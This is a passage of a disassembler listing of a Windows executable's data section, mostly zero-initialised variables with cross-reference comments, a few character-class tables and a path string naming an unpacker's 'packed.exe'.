sub_409909+97Dw ; sub_409909+A06r ... dword_4CB8CC dd 0 ; DATA XREF: sub_409909+3A6w ; sub_409909+3E7r ... dword_4CB8D0 dd 0 ; DATA XREF: sub_409909+859w ; sub_409909+8ACr ... dword_4CB8D4 dd 0 ; DATA XREF: sub_409909+2A5w ; sub_409909+2F0r dword_4CB8D8 dd 0 ; DATA XREF: sub_409909+84Cw ; sub_409909+8A4r ... dword_4CB8DC dd 0 ; DATA XREF: sub_409909+B3w dword_4CB8E0 dd 0 ; DATA XREF: sub_409909+866w ; sub_409909+8B4r ... dword_4CB8E4 dd 0 ; DATA XREF: sub_409909+54Dw ; sub_409909+6D0r ... dword_4CB8E8 dd 0 ; DATA XREF: sub_409909+58w ; sub_409909+CAr ... dword_4CB8EC dd 0 ; DATA XREF: sub_409909+934w dword_4CB8F0 dd 0 ; DATA XREF: sub_401ACD:loc_403ECBr ; sub_409909+A95w ... dword_4CB8F4 dd 0 ; DATA XREF: sub_409909+A6w ; sub_409909+F2r dword_4CB8F8 dd 0 ; DATA XREF: sub_409909+480w ; sub_409909+4D3r dword_4CB8FC dd 0 ; DATA XREF: sub_409909+5F6w ; sub_40C267+20r dword_4CB900 dd 0 ; DATA XREF: sub_409909+9BEw ; sub_409909+A33r dword_4CB904 dd 0 ; DATA XREF: sub_409909+5E9w ; sub_409909+754r ... dword_4CB908 dd 0 ; DATA XREF: sub_409909+A0Cw dword_4CB90C dd 0 ; DATA XREF: sub_409909+B50w ; sub_40DC41+9Ar dword_4CB910 dd 0 ; DATA XREF: sub_409909+7FEw ; sub_409909+86Dr ... dword_4CB914 dd 0 ; DATA XREF: sub_409909+1B3w ; sub_40B5B5+3Do ... dword_4CB918 dd 0 ; DATA XREF: sub_409909+997w ; sub_409909+A1Br ... dword_4CB91C dd 0 ; DATA XREF: sub_409909+38Cw ; sub_409909+3D7r ... dword_4CB920 dd 0 ; DATA XREF: sub_409909+399w ; sub_409909+3DFr ... dword_4CB924 dd 0 ; DATA XREF: sub_409909+C85w ; sub_409909+C8Cr dword_4CB928 dd 0 ; DATA XREF: sub_409909+6ACw ; ___:00411290r dword_4CB92C dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB930 dd 0 ; DATA XREF: sub_409909+4B4w dword_4CB934 dd 0 ; DATA XREF: sub_409909+9E5w ; sub_409909+A4Br ... dword_4CB938 dd 0 ; DATA XREF: sub_401000+51r ; sub_409909+2B2w ... dword_4CB93C dd 0 ; DATA XREF: sub_409909+7Fw ; sub_409909+DAr ... dword_4CB940 dd 0 ; DATA XREF: sub_401ACD+5840r ; sub_401ACD+781Er ... dword_4CB944 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5037r ... dword_4CB948 dd 0 ; DATA XREF: sub_409909+825w ; sub_409909+890r ... dword_4CB94C dd 0 ; DATA XREF: sub_409909+9A4w ; sub_409909+A23r dword_4CB950 dd 0 ; DATA XREF: sub_409909+C0Ew ; sub_409909+C3Fr dword_4CB954 dd 0 ; DATA XREF: sub_409909+2CCw ; sub_418A2E+47r dword_4CB958 dd 0 ; DATA XREF: sub_409909+22Dw dword_4CB95C dd 0 ; DATA XREF: sub_409909+91Aw ; sub_409909+92Er dword_4CB960 dd 0 ; DATA XREF: sub_409909+C28w dword_4CB964 dd 0 ; DATA XREF: sub_409909+2D9w ; sub_418A2E+4Fr dword_4CB968 dd 0 ; DATA XREF: sub_409909+574w ; sub_409909+6E8r ... dword_4CB96C dd 0 ; DATA XREF: sub_409909+83Fw ; sub_409909+873r dword_4CB970 dd 0 ; DATA XREF: sub_409909+220w ; sub_409909+23Cr dword_4CB974 dd 0 ; DATA XREF: sub_409909+172w ; sub_409909+1C2r dword_4CB978 dd 0 ; DATA XREF: sub_401ACD+1DCEr ; sub_401ACD+59F9r ... dword_4CB97C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+50C1r ... dword_4CB980 dd 0 ; DATA XREF: sub_409909+567w ; sub_409909+6DCr ... dword_4CB984 dd 0 ; DATA XREF: sub_409909+8DBw ; sub_409909:loc_40A202w ... dword_4CB988 dd 0 ; DATA XREF: sub_401000+26r ; sub_409909+28Bw ... dword_4CB98C dd 0 ; DATA XREF: sub_401ACD+77AFr ; sub_409909+69Fw ... dword_4CB990 dd 0 ; DATA XREF: sub_409909+32Dw ; sub_409909+341r ... dword_4CB994 dd 0 ; DATA XREF: sub_409909+3B3w ; sub_409909+3EFr ... dword_4CB998 dd 0 ; DATA XREF: sub_409909+C01w ; sub_409909+C37r dword_4CB99C dd 0 ; DATA XREF: sub_409909+818w ; sub_409909+888r ... dword_4CB9A0 dd 0 ; DATA XREF: sub_409909+206w ; sub_409909+227r dword_4CB9A4 dd 0 ; DATA XREF: sub_409909+18Cw ; sub_409909+1D2r ... dword_4CB9A8 dd 0 ; DATA XREF: sub_409909+832w ; sub_409909+898r ... dword_4CB9AC dd 0 ; DATA XREF: sub_409909+624w ; sub_409909+774r dword_4CB9B0 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409909+2BFw ... dword_4CB9B4 dd 0 ; DATA XREF: sub_409909+66Bw ; sub_409909+79Cr ... dword_4CB9B8 dd 0 ; DATA XREF: sub_409909+320w ; sub_409909+334r ... dword_4CB9BC dd 0 ; DATA XREF: sub_409909+644w ; sub_409909+784r ... dword_4CB9C0 dd 0 ; DATA XREF: sub_409909+44Cw ; sub_409909+4AEr dword_4CB9C4 dd 0 ; DATA XREF: sub_409909+199w ; sub_409909+1DAr ... dword_4CB9C8 dd 0 ; DATA XREF: sub_409909+365w ; sub_409909+3BAr ... dword_4CB9CC dd 0 ; DATA XREF: sub_409909+AA2w dword_4CB9D0 dd 0 ; DATA XREF: sub_409909+5DCw ; sub_409909+748r ... dword_4CB9D4 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5073r ... dword_4CB9D8 dd 0 ; DATA XREF: sub_409909+4Bw ; sub_409909+C2r ... dword_4CB9DC dd 0 ; DATA XREF: sub_409909+473w ; sub_409909+4CBr dword_4CB9E0 dd 0 ; DATA XREF: sub_409909+165w ; sub_409909+1BAr ... dword_4CB9E4 dd 0 ; DATA XREF: sub_409909+9FFw ; sub_409909+A5Br ... dword_4CB9E8 dd 0 ; DATA XREF: sub_409909+685w ; sub_409909+7ACr ... dword_4CB9EC dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+50D6r ... dword_4CB9F0 dd 0 ; DATA XREF: sub_409909+C1Bw ; sub_409909+C47r dword_4CB9F4 dd 0 ; DATA XREF: sub_409909+3Ew ; sub_409909+BAr ... dword_4CB9F8 dd 0 ; DATA XREF: sub_401000+45r ; sub_409909+298w ... dword_4CB9FC dd 0 ; DATA XREF: sub_409909+651w ; sub_409909+78Cr ... dword_4CBA00 dd 0 ; DATA XREF: sub_409909+637w ; sub_409909+77Cr ... dword_4CBA04 dd 0 ; DATA XREF: sub_409909+C92w dword_4CBA08 dd 0 ; DATA XREF: sub_409909+879w ; ___:00416C7Cr ... dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w dword_4CBA10 dd 0 ; DATA XREF: sub_409909+BE7w ; sub_409909+C22r dword_4CBA14 dd 0 ; DATA XREF: sub_401ACD+2F9Br ; sub_401ACD+5EB8r ... dword_4CBA18 dd 0 ; DATA XREF: sub_409909+459w ; sub_409909+4BBr dword_4CBA1C dd 0 ; DATA XREF: sub_409909+49Aw ; sub_409909+4E3r dword_4CBA20 dd 0 ; DATA XREF: sub_409909+466w ; sub_409909+4C3r dword_4CBA24 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+50F3r ... dword_4CBA28 dd 0 ; DATA XREF: sub_409909+1A6w ; sub_409909+1E2r ... dword_4CBA2C dd 0 ; DATA XREF: sub_409909+9F2w ; sub_409909+A53r ... dword_4CBA30 dd 0 ; DATA XREF: sub_409909+158w ; sub_409909+1ADr ... dword_4CBA34 dd 0 ; DATA XREF: sub_409909+8Cw ; sub_409909+E2r ... dword_4CBA38 dd 0 ; DATA XREF: sub_409909+610w ; sub_409909+764r ... dword_4CBA3C dd 0 ; DATA XREF: sub_409909+B43w ; sub_409909+B5Fr dword_4CBA40 dd 0 ; DATA XREF: sub_409909+33Aw ; sub_419B9E+55r dword_4CBA44 dd 0 ; DATA XREF: sub_409909+27Ew ; sub_409909+2D3r ... dword_4CBA48 dd 0 ; DATA XREF: sub_409909+BAAw dword_4CBA4C dd 0 ; DATA XREF: sub_409909+AECw ; sub_40A928+CEr dword_4CBA50 dd 0 ; DATA XREF: sub_409909+ADFw ; sub_409909+AE6r ... dword_4CBA54 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5052r ... dword_4CBA58 dd 0 ; DATA XREF: sub_401ACD+5044r ; sub_401ACD+77D6r ... dword_4CBA5C dd 0 ; DATA XREF: sub_409909+BF4w ; sub_409909+C2Fr dword_4CBA60 dd 0 ; DATA XREF: sub_401ACD+1DF4r ; sub_401ACD+5A1Fr ... dword_4CBA64 dd 0 ; DATA XREF: sub_409909+9B1w ; sub_409909+A2Br ... dword_4CBA68 dd 0 ; DATA XREF: sub_409909+65Ew ; sub_409909+794r ... dword_4CBA6C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CBA70 dd 0 ; DATA XREF: sub_409909+59Bw ; sub_409909+70Cr ... dword_4CBA74 dd 0 ; DATA XREF: sub_409909+B36w ; sub_409909+B57r ... dword_4CBA78 dd 0 ; DATA XREF: sub_409909+540w ; sub_409909+6C4r ... dword_4CBA7C dd 0 ; DATA XREF: sub_409909+B29w ; sub_409909+B4Ar dword_4CBA80 dd 0 ; DATA XREF: ___:00401273r ; sub_409909+31w ... dword_4CBA84 dd 0 ; DATA XREF: sub_409909+17Fw ; sub_409909+1CAr dd 0 dword_4CBA8C dd 0 ; DATA XREF: sub_409909+927w ; sub_409909+93Br dword_4CBA90 dd 0 ; DATA XREF: sub_409909+99w ; sub_409909+EAr ... dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w ; sub_409909+12Bw ... dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w ; sub_40A5C5+1Cr dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w ; sub_409909:loc_409B5Ew ... dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w ; sub_40A5C5+50r dword_4CBAA4 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4468r ... dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew ; sub_40A5C5+84r dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw ; sub_40A5C5:loc_40A675r dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw ; sub_40A5C5+B8r dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw ; sub_40A5C5:loc_40A6A9r dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w ; sub_40A5C5+ECr dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w ; sub_409909+8EFw ... dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw ; sub_40A5C5+120r dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r ; sub_409909:loc_40A25Dw ... dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw ; sub_40A5C5+154r dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r ; sub_409909:loc_40A379w ... dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw ; sub_40A5C5+188r dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w ; sub_40A5C5:loc_40A779r dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w ; sub_40A5C5+1BCr dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw ; sub_40A5C5:loc_40A7ADr dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw ; sub_40A5C5+1F0r dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w ; sub_40A5C5:loc_40A7E1r dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w ; sub_40A5C5+224r dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw ; sub_40A5C5:loc_40A815r dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw ; sub_40A5C5+258r dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w ; sub_40A5C5:loc_40A849r dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw ; sub_40A5C5+28Cr dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w ; sub_40A5C5:loc_40A87Dr dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w ; sub_40A5C5+2C0r dword_4CBB04 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar ; sub_40B2B3+98w align 10h dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r ; sub_40C2AF+92w ... dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr ; sub_40C3E8+2F1w ... dword_4CBB28 dd 7FEh dup(0) dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o ; sub_40C3E8+13Bo ... dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w ; sub_40BD91+348o dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew ; sub_40BD91+35Ar dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w ; sub_40BD91:loc_40C0A6r dword_4CDB48 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o ; sub_40BD91+302o dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw ; sub_40BD91+30Fw dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r align 8 dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w ; sub_40BD91+101o dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o dword_4CDCE0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w ; sub_40BD91+113r dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw ; sub_40BD91+D4r dword_4CDDF0 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao ; sub_40BD91+BAo dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w ; sub_40BD91+C7w dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr align 10h dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w ; sub_40BD91+225o dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o dword_4CDF88 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw ; sub_40BD91+237r dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w ; sub_40BD91+1F8r dword_4CE098 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo ; sub_40BD91+1DEo dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw ; sub_40BD91+1EBw dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr align 8 dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w ; sub_40BD91+470o dword_4CE12C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o dword_4CE3B4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw ; sub_40BD91+423r align 10h dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w ; sub_40BD91+482r dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w dd 0 dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r dd 0 dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er ; sub_40B9DD+32r dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r ; sub_40B9DD+26r dword_4CE4E4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo dword_4CE6F8 dd 0 ; DATA XREF: ___:0040EEF0r dd 0 dd 0 dword_4CE704 dd 0 ; DATA XREF: ___:0040EEC3r dword_4CE708 dd 0 ; DATA XREF: ___:0040EEA5r ; ___:0040EF0Er align 10h dword_4CE710 dd 0 ; DATA XREF: sub_40BD91+2AEr align 8 dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr dword_4CE71C dd 0 ; DATA XREF: ___:0040F9E9w ; ___:0040FA10r ... dd 3 dup(0) dword_4CE72C dd 0 ; DATA XREF: ___:00411306r dd 0 dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w ; sub_412EDD+9o dd 10Ah dup(0) dword_4CEB60 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F25o ; sub_401ACD:loc_404A7Bo dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w ; sub_401ACD+2F1Dr ... dd 11Ch dup(0) dword_4CF5F4 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do ; sub_415DD8o ... dword_4D35F4 dd 0 ; DATA XREF: sub_415D38+13o ; sub_415DD8+Eo ... dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo dword_4D3630 dd 80h dup(0) ; DATA XREF: sub_417990+41o dword_4D3830 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o ; sub_41761C+DDo ... dword_4D4030 dd 48h dup(0) ; DATA XREF: sub_4172C1+D6o ; sub_41761C+F4o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_4383A8o dd 1B7h dup(0) dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w ; sub_417493+94r dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w ; sub_4178F9+55r ... dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w ; sub_417493+D6r ... dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w ; sub_417493+35r ... dword_4D4840 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w ; sub_417493+A2r align 8 dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o ; sub_4172C1+103r ... dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw ; sub_4177C3+107w dword_4D4A50 dd 0 ; DATA XREF: sub_41761C+180w ; sub_4177C3+10Dw ... dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w ; sub_4178F9+4Fr dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w ; sub_417C61:loc_417DE6w ... dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o ; sub_417B2F+12o ... dd 0 dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr ; sub_417E06+3Ar dd 7Fh dup(0) dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r ; sub_417E06+4Aw dd 1944h dup(0) dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o dword_4DB17C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o ; sub_417B2F+3Co ... dword_4DB380 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o ; sub_418D2A+131o ... dword_4DB3DC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co ; sub_419AE0+A5o dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w ; sub_4190A5+4Dr ... dword_4DB5E0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo ; sub_4199AC+12Do dword_4DB63C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co ; sub_418FE5+7Eo ... byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r ; sub_4190A5+34w align 10h dword_4DB840 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o ; sub_4192FC+89o ... dword_4DBA40 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o ; sub_418C0E+5Bo dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er ; sub_41A05C+54r ... dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr ; sub_41A05C+37r ... dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar ; sub_41A1B1+83o dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r ; sub_41A1B1+11Bw dword_4DBC54 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o ; sub_41A1B1:loc_41A2EEo dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr ; sub_41A05C+ECr ... align 10h dword_4DBC90 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o ; ___:0041B881o ... align 10h dd 3Fh dup(0) dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o ; ___:0041B6CAo dword_4DBDDC dd 0 ; DATA XREF: sub_41C59D+1B9w ; ___:loc_41DB07w ... dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w ; sub_41E312:loc_41E3ACw ... dword_4DBDE4 dd 0 ; DATA XREF: sub_42423B+13Ar dd 0A28h, 501h, 5, 1 dword_4DBDF8 dd 1 ; DATA XREF: ___:loc_401516r ; ___:0042381Dw dword_4DBDFC dd 2460B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... dd 0 dword_4DBE04 dd 2460B58h ; DATA XREF: ___:00423717w dd 3 dup(0) off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DBE1C db 0 ; DATA XREF: sub_41C1B3+2Dw ; sub_4241E3+5r align 10h dword_4DBE20 dd 0 ; DATA XREF: sub_41C1B3+27w dword_4DBE24 dd 0 ; DATA XREF: sub_41C1B3+4r ; sub_41C1B3+8Bw dword_4DBE28 dd 0 ; DATA XREF: sub_41CAD4+3Br ; sub_41CAD4+91w align 10h dword_4DBE30 dd 0 ; DATA XREF: sub_41D124+Aw dword_4DBE34 dd 0 ; DATA XREF: ___:loc_4236E5r ; ___:loc_423727r ... dd 0 dword_4DBE3C dd 0 ; DATA XREF: sub_41E2C9r ___:0041E2F0o ... dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw ; sub_41F4C9+2Dw ... dword_4DBE44 dd 0 ; DATA XREF: sub_41FBB2r dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr ; sub_41BBE2:loc_41BE1Fr ... dword_4DBE4C dd 1 ; DATA XREF: sub_420749:loc_4208C4r ; sub_4208E2+4w ... dword_4DBE50 dd 0 ; DATA XREF: sub_420CE6+37r align 8 dword_4DBE58 dd 0 ; DATA XREF: sub_422279+11r ; sub_42237D+1Ar ... byte_4DBE5C db 0 ; DATA XREF: sub_422279+3r ; sub_422279+98r ... align 10h dword_4DBE60 dd 0 ; DATA XREF: sub_42237D+11r ; sub_42245B+21w ... byte_4DBE64 db 0 ; DATA XREF: sub_42245B+51w align 4 dword_4DBE68 dd 0 ; DATA XREF: sub_422651+4Er ; sub_422A2C+3Ar ... dword_4DBE6C dd 0 ; DATA XREF: sub_422651+5Cr ; sub_422A2C+43r ... dword_4DBE70 dd 0 ; DATA XREF: sub_41D3AA+7Ar ; sub_4227F8+5r dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r dword_4DBE78 dd 1 ; DATA XREF: sub_4232A8+28r ; sub_4232A8+4Cw ... dd 2 dup(0) dword_4DBE84 dd 0 ; DATA XREF: sub_41DE4A+4r ; sub_41DE4A+6Er ... dd 3 dup(0) dword_4DBE94 dd 0 ; DATA XREF: sub_41E0D4+61r ; sub_41E0D4+BFr ... dd 0 dword_4DBE9C dd 0 ; DATA XREF: ___:00423531r ; ___:0042353Dw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o ; ___:off_4DBE14o align 4 dd 3Ah dup(0) dword_4DBFA4 dd 1 ; DATA XREF: ___:004239DBr ; ___:004239FCw ... dword_4DBFA8 dd 0 ; DATA XREF: sub_423D98+21r dword_4DBFAC dd 0 ; DATA XREF: sub_41FBCD+154w ; sub_420CE6:loc_420D0Fw ... dword_4DBFB0 dd 0 ; DATA XREF: sub_41FBCD+7r dword_4DBFB4 dd 1 ; DATA XREF: sub_4244F4+26r ; sub_4244F4:loc_42455Ew word_4DBFB8 dw 0 ; DATA XREF: sub_424DF9+1Ao ; sub_424DF9+46r byte_4DBFBA db 0 ; DATA XREF: sub_424DF9+39r align 4 dword_4DBFBC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o dword_4DBFD8 dd 0 ; DATA XREF: sub_424DF9+40w ; sub_424DF9+5Co dword_4DBFDC dd 0 ; DATA XREF: sub_424DF9+4Dw dword_4DBFE0 dd 0 ; DATA XREF: sub_424DF9+31w dword_4DBFE4 dd 0 ; DATA XREF: sub_424DF9+52w dword_4DBFE8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr ; sub_424F1C+38r dword_4DBFEC dd 0 ; DATA XREF: sub_425029+3r ; sub_425029+2Ew ... dword_4DBFF0 dd 0 ; DATA XREF: sub_425029+43w ; sub_425029:loc_425078r dword_4DBFF4 dd 0 ; DATA XREF: sub_425029+4Aw ; sub_425029+60r dword_4DBFF8 dd 0 ; DATA XREF: sub_42423B+3Fr dword_4DBFFC dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr ; sub_425C06+6Do dword_4DC000 dd 0 ; DATA XREF: sub_425C06:loc_425C44r ; sub_425C06+44o dword_4DC004 dd 0 ; DATA XREF: sub_425C06:loc_425C37r ; sub_425C06+37o dword_4DC008 dd 0 ; DATA XREF: sub_425C06:loc_425C51r ; sub_425C06+51o align 10h dword_4DC010 dd 0 ; DATA XREF: sub_426636+28r ; sub_426636+4Cw ... dword_4DC014 dd 0 ; DATA XREF: sub_4268C1+26r ; sub_4268C1:loc_42692Bw byte_4DC018 db 0 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w align 4 dword_4DC01C dd 2461140h ; DATA XREF: sub_41E490:loc_41E4A1r ; sub_41FD3D+14r ... dword_4DC020 dd 400h dup(0) ; DATA XREF: ___:off_43D568o ; ___:0043D570o dword_4DD020 dd 200h ; DATA XREF: sub_41E490+9r ; sub_41E490+56r ... dd 7 dup(0) dword_4DD040 dd 2460650h ; DATA XREF: sub_41F8E3+75r ; sub_41F9BC+2Ar ... dword_4DD044 dd 3Fh dup(0) ; DATA XREF: ___:00423B9Do dword_4DD140 dd 20h ; DATA XREF: sub_41E312+8r ; sub_41F9BC+Cr ... dword_4DD144 dd 4E4h ; DATA XREF: sub_420749+14r ; sub_420749+65w ... align 10h dword_4DD150 dd 3 dup(0) ; DATA XREF: sub_420749+123o ; sub_420749+171o ... dword_4DD15C dd 0 ; DATA XREF: sub_420749+108w ; sub_420749+15Dw ... byte_4DD160 db 0 ; DATA XREF: sub_420988:loc_420A94w ; sub_420988:loc_420AB1w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DD260 db 0 ; DATA XREF: sub_420749+5Co ; sub_420749+AFo ... byte_4DD261 db 0 ; DATA XREF: sub_41C3B1+5Dr ; sub_420749+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DD364 dd 0 ; DATA XREF: sub_420749+6Ew ; sub_420749+12Bw ... dword_4DD368 dd 0 ; DATA XREF: sub_41ED74+5r ; sub_41ED74+32w dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar ; sub_41E742+25Ar ... dword_4DD370 dd 0 ; DATA 